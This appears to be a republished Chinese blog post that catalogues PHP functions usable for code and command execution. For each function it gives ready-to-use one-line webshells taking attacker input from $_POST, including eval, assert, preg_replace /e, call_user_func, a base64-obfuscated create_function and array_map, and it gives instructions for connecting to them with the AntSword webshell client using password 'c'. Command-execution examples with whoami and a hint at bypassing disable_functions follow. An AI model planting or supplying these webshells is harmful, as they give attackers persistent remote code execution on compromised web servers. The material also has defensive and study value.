PHP代码执⾏命令执⾏总结
代码执⾏
eval
(PHP 4, PHP 5, PHP 7)
eval( string $code) : mixed
把字符串 code 作为PHP代码执⾏。
eval($_POST['c']);
直接蚁剑链接密码为c
assert
(PHP 4, PHP 5, PHP 7)
assert( mixed $assertion[, Throwable $exception]) : bool
如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执⾏。
使⽤⽅法同eval
assert($_POST['c']);
preg_replace
(PHP 4, PHP 5, PHP 7)
preg_replace ( mixed $pattern,mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed
preg_replace — 执⾏⼀个正则表达式的搜索和替换
搜索subject中匹配pattern的部分,以replacement进⾏替换。
当使⽤被弃⽤的 e 修饰符时, 这个函数会转义⼀些字符,即:'、"、 \ 和 NULL
然后进⾏后向引⽤替换。在完成替换后, 引擎会将结果字符串作为php代码使⽤eval⽅式进⾏评估并将返回值作为最终参与替换的字符串。举个栗⼦:
echo preg_replace('/chabug/e','phpinfo()','asdasdchabugasd');
/e修饰符前的正则表达式匹配后⾯的字符串参数,将chabug字符串替换为phpinfo()并且以eval()的⽅式执⾏。
⼀句话:
echo preg_replace('/.*/e',$_POST['c'],'');
call_user_func
(PHP 4, PHP 5, PHP 7)
call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] ) : mixed
call_user_func — 把第⼀个参数作为回调函数调⽤
第⼀个参数 callback 是被调⽤的回调函数,其余参数是回调函数的参数。
举个例⼦:
call_user_func('phpinfo');
⼀句话shell:
call_user_func($_POST['a'], $_POST['c']);
蚁剑连接
需要设置http body和编码器
call_user_func_array
常用的php代码实例(PHP 4 >= 4.0.4, PHP 5, PHP 7)
call_user_func_array ( callable $callback , array $param_arr ) : mixed call_user_func_array 调⽤回调函数,并把⼀个数组参数作为回调函数的参数举个例⼦:
call_user_func_array($_POST['a'], $_POST['c']);
和上⼀个函数相⽐只是将$c改为数组传⼊,蚁剑连接⽅式同理。
create_function
(PHP 4 >= 4.0.1, PHP 5, PHP 7)
create_function ( string $args , string $code ) : string
create_function函数接收两个参数$args 和 $code 然后组成新函数function_lambda_func($args){$code;} 并eval(function_lambda_func($args){$code;})我们不需要传参数,直接把$code改为普通的⼀
句话就⾏了。
$c=create_function("", base64_decode('QGV2YWwoJF9QT1NUWyJjIl0pOw=='));$c();
密码c
array_map
(PHP 4 >= 4.0.6, PHP 5, PHP 7)
array_map ( callable $callback , array $array1 [, array $... ] ) : array
返回数组,是为 array1 每个元素应⽤ callback函数之后的数组。 callback 函数形参的数量和传给 array_map() 数组数量,两者必须⼀样。
⼀句话:
array_map('assert',array($_POST['c']));
还有诸如array_filter、uksort、uasort、array_walk + preg_replace、preg_filter、mb_ereg_replace、register_shutdown_function、filter_var
更多的回调函数请移步
命令执⾏
system
system ( string $command [, int &$return_var ] ) : string
system — 执⾏外部程序,并且显⽰输出,本函数执⾏ command 参数所指定的命令, 并且输出执⾏结果。
system('whoami');
passthru
passthru ( string $command [, int &$return_var ] ) : void
passthru — 执⾏外部程序并且显⽰原始输出
passthru('whoami');
exec
exec ( string $command [, array &$output [, int &$return_var ]] ) : string
exec() 执⾏ command 参数所指定的命令。
echo exec("whoami");
pcntl_exec
pcntl_exec ( string $path [, array $args [, array $envs ]] ) : void
pcntl_exec — 在当前进程空间执⾏指定程序
$path指定可执⾏⼆进制⽂件路径
pcntl_exec ( "/bin/bash" , array("whoami"));
该模块不能在⾮Unix平台(Windows)上运⾏。
shell_exec
shell_exec ( string $cmd ) : string
通过 shell 环境执⾏命令,并且将完整的输出以字符串的⽅式返回。
echo shell_exec('whoami');
popen
popen ( string $command , string $mode ) : resource
打开⼀个指向进程的管道,该进程由派⽣给定的 command 命令执⾏⽽产⽣。
$handle = popen(' /c whoami', 'r');
$read = fread($handle, 2096);
echo $read;
pclose($handle);
与之对应的还有proc_open()函数
反引号
在php中称之为执⾏运算符,PHP 将尝试将反引号中的内容作为 shell 命令来执⾏,并将其输出信息返回,使⽤反引号运算符的效果与函数 shell_exec() 相同。
echo `whoami`;
ob_start
ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] ) : bool
$cmd = 'system';
ob_start($cmd);
echo "$_GET[a]";
ob_end_flush();
实际上还是通过回调system函数,绕不过disablefunc
mail
讲不清楚,直接贴链接
bypass_disablefunc
参考
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论